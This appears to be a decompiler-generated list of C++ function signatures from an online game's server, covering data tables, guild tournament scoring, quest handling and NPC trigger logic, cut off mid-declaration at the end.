ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); NPCAction::IAction **__cdecl std::copy(NPCAction::IAction **_First, NPCAction::IAction **_Last, NPCAction::IAction **_Dest); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall GuildTournamentScoreTable::GuildTournamentScoreTable(GuildTournamentScoreTable *this); void *__thiscall GuildTournamentScoreTable::_scalar_deleting_destructor_(GuildTournamentScoreTable *this, unsigned int); void __thiscall GuildTournamentScoreTable::_GuildTournamentScoreTable(GuildTournamentScoreTable *this); void __thiscall GuildTournamentLvGapTable::GuildTournamentLvGapTable(GuildTournamentLvGapTable *this); void *__thiscall GuildTournamentLvGapTable::_scalar_deleting_destructor_(GuildTournamentLvGapTable *this, unsigned int); void __thiscall GuildTournamentLvGapTable::_GuildTournamentLvGapTable(GuildTournamentLvGapTable *this); void __thiscall GuildTournamentOccupyTable::GuildTournamentOccupyTable(GuildTournamentOccupyTable *this); void *__thiscall GuildTournamentOccupyTable::_vector_deleting_destructor_(GuildTournamentOccupyTable *this, unsigned int); void __thiscall GuildTournamentOccupyTable::_GuildTournamentOccupyTable(GuildTournamentOccupyTable *this); void __thiscall GuildTournamentSkillTable::GuildTournamentSkillTable(GuildTournamentSkillTable *this); void *__thiscall GuildTournamentSkillTable::_scalar_deleting_destructor_(GuildTournamentSkillTable *this, unsigned int); void __thiscall GuildTournamentSkillTable::_GuildTournamentSkillTable(GuildTournamentSkillTable *this); void __thiscall GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this); void *__thiscall GuildTournamentMasterBuffTable::_vector_deleting_destructor_(GuildTournamentMasterBuffTable *this, unsigned int); void __thiscall GuildTournamentMasterBuffTable::_GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this); void __thiscall GTIGetRateTable::GTIGetRateTable(GTIGetRateTable *this); void *__thiscall GTIGetRateTable::_vector_deleting_destructor_(GTIGetRateTable *this, unsigned int); void __thiscall GTIGetRateTable::_GTIGetRateTable(GTIGetRateTable *this); void __thiscall GTIGetRateGapTable::GTIGetRateGapTable(GTIGetRateGapTable *this); void *__thiscall GTIGetRateGapTable::_vector_deleting_destructor_(GTIGetRateGapTable *this, unsigned int); void __thiscall GTIGetRateGapTable::_GTIGetRateGapTable(GTIGetRateGapTable *this); void __thiscall GTIServerTable::GTIServerTable(GTIServerTable *this); void *__thiscall GTIServerTable::_scalar_deleting_destructor_(GTIServerTable *this, unsigned int); void __thiscall GTIServerTable::_GTIServerTable(GTIServerTable *this); void __thiscall GTIBreedSubjectTable::GTIBreedSubjectTable(GTIBreedSubjectTable *this); void *__thiscall GTIBreedSubjectTable::_scalar_deleting_destructor_(GTIBreedSubjectTable *this, unsigned int); void __thiscall GTIBreedSubjectTable::_GTIBreedSubjectTable(GTIBreedSubjectTable *this); void __thiscall GTWinScoreTable::GTWinScoreTable(GTWinScoreTable *this); void *__thiscall GTWinScoreTable::_scalar_deleting_destructor_(GTWinScoreTable *this, unsigned int); void __thiscall GTWinScoreTable::_GTWinScoreTable(GTWinScoreTable *this); void __thiscall AccUpGradeTable::AccUpGradeTable(AccUpGradeTable *this); void *__thiscall AccUpGradeTable::_scalar_deleting_destructor_(AccUpGradeTable *this, unsigned int); void __thiscall AccUpGradeTable::_AccUpGradeTable(AccUpGradeTable *this); void __thiscall MysteryVaultTable::MysteryVaultTable(MysteryVaultTable *this); void *__thiscall MysteryVaultTable::_scalar_deleting_destructor_(MysteryVaultTable *this, unsigned int); void __thiscall MysteryVaultTable::_MysteryVaultTable(MysteryVaultTable *this); void __thiscall LevelGap_Player_to_Monster::LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this); void *__thiscall LevelGap_Player_to_Monster::_vector_deleting_destructor_(LevelGap_Player_to_Monster *this, unsigned int); void __thiscall LevelGap_Player_to_Monster::_LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this); void __thiscall LevelGap_Monster_to_Player::LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this); void *__thiscall LevelGap_Monster_to_Player::_scalar_deleting_destructor_(LevelGap_Monster_to_Player *this, unsigned int); void __thiscall LevelGap_Monster_to_Player::_LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this); void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this); void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this); void __thiscall EventReserveContainer::EventReserveContainer(EventReserveContainer *this, int maxevent); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); void *__thiscall AccUpGradeInfoTable::_scalar_deleting_destructor_(AccUpGradeInfoTable *this, unsigned int); void *__thiscall IIDTableBase::_vector_deleting_destructor_(LevelGap_Player_to_Player *this, unsigned int); void __thiscall LevelGap_Player_to_Player::_LevelGap_Player_to_Player(LevelGap_Player_to_Player *this); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); void __thiscall std::vector>::_Xlen(std::vector > *this); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::ICondition *const *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::ICondition *_Val); void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::CondGen_OptionReader generator); void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::ActionGen_OptionReader generator); bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName); bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName); void __thiscall ZoneServer::zs_start_old(ZoneServer *this); void __thiscall CCharacterTitleData::CCharacterTitleData(BinaryData *this); void __thiscall CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(CAnnounceSystem *this, char AnnounceType, const char *Msg); int __thiscall CAnnounceSystem::AnnounceSystem_ItemUpgrade(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID, char nItemLevel); int __thiscall CAnnounceSystem::AnnounceSystem_ItemTake(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID); int __thiscall CAnnounceSystem::AnnounceSystem_LevelMax(CAnnounceSystem *this, Name4 *pCharName, char nLevel); int __thiscall CAnnounceSystem::AnnounceSystem_ClassUp(CAnnounceSystem *this, Name4 *pCharName, char nClassID); int __thiscall CAnnounceSystem::AnnounceSystem_CharacterTitle(CAnnounceSystem *this, Name4 *pCharName, char nCTType, char nCTElementNo); int __thiscall CAnnounceSystem::AnnounceSystem_Roar(CAnnounceSystem *this, Name4 *pCharName, const char *Message); int __thiscall CAnnounceSystem::AnnounceSystem_ProposeAccept(CAnnounceSystem *this, Name4 *Requestor, Name4 *Acceptor); int __thiscall CAnnounceSystem::AnnounceSystem_WeddingStart(CAnnounceSystem *this, Name4 *Name1, Name4 *Name2); signed int __cdecl ShineObjectClass::ShineObject::so_Prison_Go(__int16 nPrisonMin); void __thiscall ShineObjectClass::ShinePlayer::so_Prison_Go(void *this, __int16 nPrisonMin); void __cdecl ShineObjectClass::ShineObject::so_Prison_End(int mapname, int coord); void __thiscall ShineObjectClass::ShinePlayer::so_Prison_End(void *this, int mapname, int coord); void __thiscall FieldMap::fm_QuestPS_Start(void *this, char *filename, char *initflag); void __thiscall CQuestZone::CQuestZone(CQuestZone *this, CQuestData *pQuestData); void __thiscall CQuestZone::_CQuestZone(CQuestZone *this); void __thiscall CQuestZone::qz_SetObject(CQuestZone *this, #434 *pPlayer); char __thiscall QuestRewardPacket::qrp_StoreItem(QuestRewardPacket *this, unsigned __int16 itm, int lot); char __thiscall CQuestZone::GetQuestPlayerLevel(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerRace(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerClass(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerGender(CQuestZone *this); void __thiscall CQuestZone::InitNewPlayer(CQuestZone *this); int __thiscall CQuestZone::QuestClose(CQuestZone *this); int __thiscall CQuestZone::QuestCheckRewardInven(CQuestZone *this, int nNumOfNeedEmptyInven, ChargedEffectContainer *cec); char __thiscall QuestRewardPacket::qrp_Send2DB(QuestRewardPacket *this, #434 *ply); int __thiscall CQuestZone::QuestCheckSelectReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem); int __thiscall CQuestZone::QuestTakeReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem); int __thiscall CQuestZone::QuestPlayer_NPCClickCheck(CQuestZone *this, unsigned __int16 nNPCID); void __thiscall CQuestZone::GetPlayerCurrentLocation(CQuestZone *this, unsigned __int16 *nLocation, unsigned int *LocationX, unsigned int *LocationY); unsigned __int16 __thiscall CQuestZone::GetQuestPlayerItemLot(CQuestZone *this, unsigned __int16 nItemID); char __thiscall CQuestZone::GetQuestPlayerEmptyInventory(CQuestZone *this); int __thiscall CQuestZone::GetSuccessItemCount(CQuestZone *this, QUEST_DATA *pQuestData, unsigned __int16 nItemID); void __thiscall CQuestZone::Send_NC_QUEST_SCRIPT_CMD_REQ(CQuestZone *this, unsigned __int16 nQuestID, STRUCT_QSC *pQSC); int __thiscall CQuestZone::Send_NC_QUEST_DB_SET_INFO_REQ(CQuestZone *this, PLAYER_QUEST_INFO *pQuestInfo, STRUCT_QSC *pQSC); int __thiscall CQuestZone::Send_NC_QUEST_DB_CLEAR_REQ(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::Send_NC_QUEST_GIVE_UP_ACK(CQuestZone *this, unsigned __int16 nID, unsigned __int16 Error); int __thiscall CQuestZone::Send_NC_QUEST_DB_GIVE_UP_REQ(CQuestZone *this, unsigned __int16 nQuestID); void __thiscall CQuestZone::Recv_NC_QUEST_DB_GIVE_UP_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_GIVE_UP_ACK *pAck); int __thiscall CQuestZone::Send_NC_QUEST_CLIENT_SCENARIO_DONE_ACK(CQuestZone *this, unsigned __int16 nScenarioID); int __thiscall CQuestZone::Send_NC_QUEST_NOTIFY_MOB_KILL_CMD(CQuestZone *this, unsigned __int16 nMobID); int __thiscall CQuestZone::Send_NC_QUEST_SCENARIO_RUN_CMD(CQuestZone *this, unsigned __int16 nScenarioID); int __thiscall CQuestZone::Send_NC_QUEST_SELECT_START_ACK(CQuestZone *this, unsigned __int16 nNPCID, unsigned __int16 nID, unsigned __int16 Error); int __thiscall CQuestZone::Recv_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(CQuestZone *this, PROTO_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD *pCmd); int __thiscall CQuestZone::Send_NC_QUEST_REWARD_NEED_SELECT_ITEM_CMD(CQuestZone *this, unsigned __int16 nID); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_QUEST_DOING_REQ(CQuestZone *this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *pPacketBuffer); int __thiscall CQuestZone::PsStart(CQuestZone *this, char *pScriptFileName, char *pStartBlockName); int __thiscall CQuestZone::QuestStart(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestDoing(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestEnd(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestCheckReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem, ChargedEffectContainer *cec); int __thiscall CQuestZone::QuestActionMobKill(CQuestZone *this, PLAYER_QUEST_INFO *pQuestInfo, QUEST_DATA *pQuestData, int ActionNo, #325 *mob); int __thiscall CQuestZone::QuestPlayer_ScenarioDone_Server(CQuestZone *this, unsigned __int16 nScenarioID); void __thiscall CQuestZone::Send_QUEST_ERROR_TO_CLIENT(CQuestZone *this, unsigned __int16 nErrCode); void __thiscall CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK(CQuestZone *this, PROTO_NC_QUEST_SCRIPT_CMD_ACK *pAck); void __thiscall CQuestZone::Recv_NC_QUEST_GIVE_UP_REQ(CQuestZone *this, PROTO_NC_QUEST_GIVE_UP_REQ *pReq); int __thiscall CQuestZone::Recv_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(CQuestZone *this, PROTO_NC_QUEST_CLIENT_SCENARIO_DONE_REQ *pReq); int __thiscall CQuestZone::QuestPlayer_NPCMobKill(CQuestZone *this, #325 *mob); int __thiscall CQuestZone::QuestPlayer_ScenarioRun(CQuestZone *this, unsigned __int16 nQuestID, STRUCT_QSC *pQSC); int __thiscall CQuestZone::QuestNext(CQuestZone *this); void __thiscall CQuestZone::Recv_NC_QUEST_DB_SET_INFO_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_SET_INFO_ACK *pAck); void __thiscall CQuestZone::Recv_NC_QUEST_DB_CLEAR_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_CLEAR_ACK *pAck); void __thiscall CQuestZone::Recv_NC_ITEMDB_QUESTREWARD_ACK(CQuestZone *this, PROTO_NC_ITEMDB_QUESTREWARD_ACK *pAck); int __thiscall CQuestZone::PsEnd(CQuestZone *this, unsigned int nResult); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Return2Quest(void *this, unsigned int returnvalue); int __thiscall CQuestZone::QuestScriptRun(CQuestZone *this, PLAYER_QUEST_STATUS nStatus, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestPlayer_NPCClick(CQuestZone *this, unsigned __int16 nNPCID); int __thiscall CQuestZone::Recv_NC_QUEST_SELECT_START_REQ(CQuestZone *this, PROTO_NC_QUEST_SELECT_START_REQ *pReq); void __thiscall NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(NPCAction::ActionGen_OptionReader *this, OptionReader *optionReader); void __thiscall NPCAction::InteractAction::exe(NPCAction::InteractAction *this, #325 *, #325 *); void __thiscall NPCAction::DispelAction::exe(NPCAction::DispelAction *this, #325 *, #325 *); void __thiscall NPCAction::EmotionlAction::exe(NPCAction::EmotionlAction *this, #325 *, #325 *); void __thiscall NPCAction::AbStateAction::exe(NPCAction::AbStateAction *this, #325 *, #325 *); void __thiscall NPCAction::SkillAction::SkillAction(NPCAction::SkillAction *this, const unsigned __int16 skillID); void __thiscall NPCAction::SkillAction::exe(NPCAction::SkillAction *this, #325 *, #325 *); void __thiscall NPCAction::DieAction::exe(NPCAction::DieAction *this, #325 *, #325 *); void __thiscall NPCAction::GTItemAction::exe(NPCAction::GTItemAction *this, #325 *, #325 *); void *__thiscall NPCAction::GTItemAction::_scalar_deleting_destructor_(NPCAction::GTItemAction *this, unsigned int); unsigned int __thiscall NPCAction::ActionGen_OptionReader::size(NPCAction::ActionGen_OptionReader *this); void __thiscall NPCAction::NoticeAction::exe(NPCAction::NoticeAction *this, #325 *, #325 *); void __thiscall NPCAction::NoticeAction::NoticeAction(NPCAction::NoticeAction *this, const char *content); void *__thiscall NPCAction::NoticeAction::_scalar_deleting_destructor_(NPCAction::NoticeAction *this, unsigned int); void __thiscall NPCAction::NoticeAction::_NoticeAction(NPCAction::NoticeAction *this); NPCAction::IAction *__thiscall NPCAction::ActionGen_OptionReader::operator__(NPCAction::ActionGen_OptionReader *this); void __thiscall NPCAction::ICondition::ICondition(NPCAction::ICondition *this); unsigned __int16 __thiscall NPCAction::NoneCondition::notify(NPCAction::NoneCondition *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); bool __thiscall NPCAction::NoneCondition::needToAttach(NPCAction::NoneCondition *this); void __thiscall NPCAction::ABStateCondition::ABStateCondition(NPCAction::ABStateCondition *this, ABSTATEINDEX index, const unsigned int termLow, const unsigned int termHigh); unsigned __int16 __thiscall NPCAction::ABStateCondition::notify(NPCAction::ABStateCondition *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::SkillCondition::SkillCondition(NPCAction::SkillCondition *this, const unsigned __int16 skillID, const unsigned int termLow, const unsigned int termHigh); unsigned __int16 __thiscall NPCAction::SkillCondition::notify(NPCAction::SkillCondition *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); unsigned __int16 __thiscall NPCAction::DeadCondition::notify(NPCAction::DeadCondition *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::EmotionCondition::EmotionCondition(NPCAction::EmotionCondition *this, const char emoticonID, const unsigned int termLow, const unsigned int termHigh); unsigned __int16 __thiscall NPCAction::EmotionCondition::notify(NPCAction::EmotionCondition *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::DeadCondition::DeadCondition(NPCAction::DeadCondition *this); void *__thiscall NPCAction::GT_TeamCondition::_scalar_deleting_destructor_(NPCAction::GT_TeamCondition *this, unsigned int); bool __thiscall NPCAction::NoneCondition::check(NPCAction::NoneCondition *this); bool __thiscall NPCAction::ABStateCondition::check(NPCAction::ABStateCondition *this); bool __thiscall NPCAction::LvGapCondition::check(NPCAction::LvGapCondition *this); bool __thiscall NPCAction::ClassCondition::check(NPCAction::ClassCondition *this); void __thiscall NPCAction::ABStateCondition::_ABStateCondition(NPCAction::GT_TeamCondition *this); unsigned int __thiscall NPCAction::CondGen_OptionReader::size(NPCAction::CondGen_OptionReader *this); NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::createCondition_(NPCAction::CondGen_OptionReader *this, const char *condition, const char *type, unsigned int x, unsigned int y, NPCAction::CondGen_OptionReader::ConditionData_ *row, unsigned int low, unsigned int high); bool __thiscall NPCAction::GT_TeamCondition::check(NPCAction::GT_TeamCondition *this); unsigned __int16 __thiscall NPCAction::GT_TeamCondition::notify(NPCAction::GT_TeamCondition *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::operator__(NPCAction::CondGen_OptionReader *this); void __thiscall NeighborhoodChecker::NeighborhoodChecker(NeighborhoodChecker *this, std::vector > *triggerCollection); void __thiscall NeighborhoodChecker::_NeighborhoodChecker(NeighborhoodChecker *this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Max(std::_Tree_nod >,std::less,std::allocator > *_Pnode); unsigned int __thiscall std::basic_string_std::allocator>::rfind(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec(std::_Tree >,std::less,std::allocator > > > *this); NPCAction::doTriggers_ *__cdecl std::for_each>::iterator_NPCAction::doTriggers_>(NPCAction::doTriggers_ *result, std::vector >::iterator _First, std::vector >::iterator _Last, NPCAction::doTriggers_ _Func); char __thiscall NeighborhoodChecker::ali_Work(NeighborhoodChecker *this, #325 *, #325 *, unsigned int); void __thiscall NPCAction::Manager::_Manager(NPCAction::Manager *this); void __thiscall std::vector>::_Destroy(std::vector > *this, NPCAction::Trigger *_First, NPCAction::Trigger *_Last); void __thiscall NPCAction::Trigger::_Trigger(NPCAction::Trigger *this); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this); void __thiscall std::pair>>::_pair>>(std::pair > > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator > *this); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); void *__thiscall std::vector>::operator_(void *this, int a2); void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this, NPCAction::Trigger *__that); void *__thiscall NPCAction::Trigger::_scalar_deleting_destructor_(NPCAction::Trigger *this, unsigned int); NPCAction::Trigger *__cdecl std::_Copy_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); NPCAction::Trigger *__cdecl std::_Copy_backward_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall NPCAction::Manager::Manager(AbnormalStateShelter::AbstateShelter *this); void __cdecl std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>(std::vector >::iterator _Dest, unsigned int _Count, NPCAction::TriggerGen_OptionReader _Func); void __cdecl std::fill(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Val); NPCAction::Trigger *__cdecl std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, NPCAction::Trigger *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __cdecl std::_Uninit_fill_n>(NPCAction::Trigger *_First, unsigned int _Count, NPCAction::Trigger *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Rootnode); NPCAction::Trigger *__thiscall std::vector>::_Ufill(std::vector > *this, NPCAction::Trigger *_Ptr, unsigned int _Count, NPCAction::Trigger *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::Trigger *_Val); std::pair > > *__cdecl std::make_pair>>(std::pair > > *result, unsigned __int16 _Val1, std::vector > _Val2); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::Trigger _Val); int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...); void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...); bool __cdecl NPCAction::Util::loadFromOptionReader(std::vector > *destManager, const char *fileName); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); bool __cdecl NPCAction::Util::loadTriggers(); void __thiscall NPCAction::doTriggers_::doTriggers_(ShineRTTI *this, const char *pcName, ShineRTTI *pkBaseRTTI); unsigned int __thiscall NPCAction::TriggerGen_OptionReader::size(NPCAction::TriggerGen_OptionReader *this); NPCAction::Trigger::doAction_ *__cdecl std::for_each>::iterator_NPCAction::Trigger::doAction_>(NPCAction::Trigger::doAction_ *result, std::vector >::iterator _First, std::vector >::iterator _Last, NPCAction::Trigger::doAction_ _Func); unsigned __int16 __thiscall NPCAction::Trigger::notify(NPCAction::Trigger *this, #325 *, #325 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::doTriggers_::operator__(NPCAction::doTriggers_ *this, NPCAction::Trigger *trigger); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this); bool __thiscall NPCAction::Trigger::needToAttach(NPCAction::Trigger *this); NPCAction::Trigger *__thiscall NPCAction::TriggerGen_OptionReader::operator__(NPCAction::TriggerGen_OptionReader *this, NPCAction::Trigger *result); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, NPCAction::Trigger *_Val); void __thiscall std::vector>::push_back(std::vector > *this, NPCAction::Trigger *_Val); void __thiscall NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this, OptionReader *optionReader); int __cdecl AccUpGradeInfoTable::GetRandomUpgradeValue(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber); int __cdecl AccUpGradeInfoTable::GetLimit(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber); int __thiscall AccUpGradeInfoTable::GetID(AccUpGradeInfoTable *this, AccUpGradeInfo *pkRecord); std::basic_string,std::allocator > *__cdecl Table::GetTableDir(); std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Min(std::_Tree_nod >,std::less,std::allocator > *_Pnode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(std::_Tree >,std::less,std::allocator > > > *this); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode); unsigned __int16 __cdecl GuildTournamentScoreTable::GetScore(int nType, int nMurder, int nVictim); unsigned int __cdecl GuildTournamentOccupyTable::GetOccupyTime(int nType); unsigned int __cdecl GuildTournamentOccupyTable::GetScore(int nType); GUILD_TOURNAMENT_SKILL *__cdecl GuildTournamentSkillTable::GetStateByIndex(int nType, int nNumber); unsigned int __cdecl GuildTournamentSkillTable::GetUseSkillCount(int nType, unsigned int Point); char __cdecl GTIGetRateTable::GetItemIDbyProbabilityCalculate(bool IsAdvan, char Level); bool __thiscall GTIGetRateTable::DataProcess(GTIGetRateTable *this); GTIBreedSubject *__cdecl GTIBreedSubjectTable::GetByIndexName(const char *pkIndexName); std::_Tree_nod >,std::less,std::allocator > *__thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(std::_Tree >,std::less,std::allocator > > > *this); void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator>::_Xran(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __cdecl Table::SetTableDir(const char *pkDir); std::basic_string,std::allocator > *__cdecl GuildTournamentMasterBuffTable::GetMasterBuff(std::basic_string,std::allocator > *result, int nType); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator 